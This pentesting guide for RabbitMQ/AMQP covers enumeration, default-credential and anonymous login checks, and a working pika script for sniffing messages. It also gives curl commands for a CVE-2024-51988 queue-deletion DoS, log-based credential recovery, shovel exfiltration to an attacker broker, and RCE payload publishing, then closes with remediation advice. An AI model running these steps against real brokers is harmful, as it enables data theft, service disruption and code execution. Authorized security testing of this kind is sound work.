Pentesting Rabbitmq

Pentesting RabbitMQ / AMQP (port 5672)

When to Use

• Default ports 5672/tcp (AMQP 0-9-1 and 1.0, plaintext) and 5671/tcp (TLS). Management HTTP API/UI on 15672; related ports: 1883/8883 MQTT, 4369 epmd, 25672 Erlang dist, 61613/61614 STOMP.
• When nmap shows 5672/tcp open amqp RabbitMQ 3.1.5 (0-9).
• A broker holds in-transit messages — often containing credentials, tokens, PII, and job/command payloads — making read or publish access very impactful.

Quick Enumeration

# Nmap amqp-info (capabilities, version, SASL mechanisms)
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
# | amqp-info:
# |   mechanisms: PLAIN AMQPLAIN
# |   version: 3.1.5  product: RabbitMQ  platform: Erlang/OTP

# Probe AMQPS (cert chain, TLS versions, mutual TLS)
openssl s_client -alpn amqp -connect <IP>:5671 -tls1_3 -msg </dev/null

# Inspect server properties / SASL mechanisms with default guest:guest
python3 - <<'PY'
import amqp
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/")  # default guest:guest
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
    print(k, v)
PY

# Listeners from a low-priv host shell
rabbitmq-diagnostics -q listeners

Critical: Checks Most Often Missed

• Default credentials guest:guest — RabbitMQ restricts guest to localhost via loopback_users, but many Docker/IoT images disable that check. Always test remote login rather than assuming it's blocked.
• ANONYMOUS / weak SASL — if the broker advertises ANONYMOUS, connect with empty user/pass (maps to anonymous_login_user, defaults to guest). PLAIN/AMQPLAIN are on by default.
• Message sniffing via broad binds — topic authorization is often weaker than defenders expect; binding # or audit.#/payments.* to amq.topic siphons live messages. Bind amq.rabbitmq.event (user.#, connection.#) for a live recon feed of logins/queues.
• Stream queue historical replay — x-queue-type=stream queues are append-only; a read account can replay old messages (x-stream-offset:first) recovering tokens/PII long after consumption.
• Queue-deletion DoS (CVE-2024-51988) — RabbitMQ <= 3.12.10 skips the configure permission check on HTTP-API queue deletes; a read/write-only user can delete arbitrary queues.
• Authorization-header log leak — until 4.0.8/4.1.0 the management API logs the base64 Authorization header on a non-existent resource; recover creds from /var/log/rabbitmq/.
• Message-to-RCE sink — if a downstream worker pipes message content into bash -c "$MSG"/os.system/shell=True, publish access = RCE.

How to CONFIRM

• Default/anon login: the amqp.Connection(...).connect() succeeds remotely (no ACCESS_REFUSED).
• Sniffing: a temporary queue bound to amq.topic/amq.rabbitmq.event receives message bodies/headers.
• CVE-2024-51988: curl -X DELETE .../api/queues/%2F/<queue> succeeds with a low-priv user (queue disappears).
• RCE: publish a benign probe (id, whoami) and observe its output in a results queue/log before upgrading.

Workflow

Step 1: Enumerate

Run amqp-info, probe AMQPS, and read server_properties/SASL mechanisms. Note version (for CVE mapping) and whether the management plugin (15672) is enabled.

Step 2: Authenticate / unauth access

Test guest:guest remotely, try ANONYMOUS with empty creds, and password-spray known users (AMQP/STOMP brute force). Use the passive queue.declare/exchange.declare permission oracle (NOT_FOUND vs ACCESS_REFUSED) to enumerate object names without creating artifacts.

Step 3: Exploit / Extract

Sniff messages without deleting them:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('<IP>',5672,'/',creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')   # or audit.# / payments.*
for method, props, body in ch.consume('loot', inactivity_timeout=5):
    if body: print(method.routing_key, body)

Replay stream history: bind/consume with arguments={'x-stream-offset':'first'}. Monitor events: bind amq.rabbitmq.event with key user.# and inspect props.headers (body is blank). DoS via CVE-2024-51988:

rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version  # confirm vuln
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Trigger and harvest the Authorization-header log leak:

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Step 4: Post-access / pivot

Exfiltrate messages by declaring a shovel to an attacker broker (rabbitmqadmin shovels declare_amqp091 ...). Reuse decoded/sniffed creds over AMQP/STOMP/MQTT or the OS. If a consumer executes message bodies, publish a payload (incl. via the management API) for RCE:

curl -u user:pass -H 'content-type: application/json' \
  -X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
  -d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Default guest on Docker image

A containerized RabbitMQ left loopback_users disabled; guest:guest logs in remotely and a # topic bind sniffs payment messages with PII.

Scenario 2: Stream replay of secrets

An orders-stream queue retains processed jobs; x-stream-offset:first replays historical messages containing bearer tokens.

Scenario 3: Message-to-RCE

A worker consumer runs bash -c "$MESSAGE"; publishing id via the management API to the update routing key returns command output, confirming RCE.

Output Format

## RabbitMQ / AMQP Finding

**Service**: AMQP (5672/tcp | 5671/tcp TLS), management 15672
**Severity**: <Critical|High|Medium>
**Target**: <IP>:5672  Version: RabbitMQ <x.y.z>

### Evidence
- Default/anon login: guest:guest (or ANONYMOUS) accepted remotely
- Message sniffing: bound amq.topic '#' captured <sensitive payloads>
- Stream replay / event-exchange recon successful
- CVE-2024-51988 queue delete OR Authorization-header log leak confirmed
- RCE sink: published 'id' -> output observed

### Reproduction
python pika consume bound to amq.topic '#'
curl -X DELETE https://<IP>:15672/api/queues/%2F/<queue> -u low:priv

### Recommendation
1. Remove/disable guest and ANONYMOUS; enforce per-vhost least-privilege ACLs
2. Define explicit topic permissions; restrict event-exchange and stream reads
3. Patch RabbitMQ (>= fix for CVE-2024-51988; 4.0.8/4.1.0 for log leak)
4. Require TLS (5671), do not expose 15672/25672/4369 to untrusted networks
5. Never feed message content into shells; validate/whitelist consumer input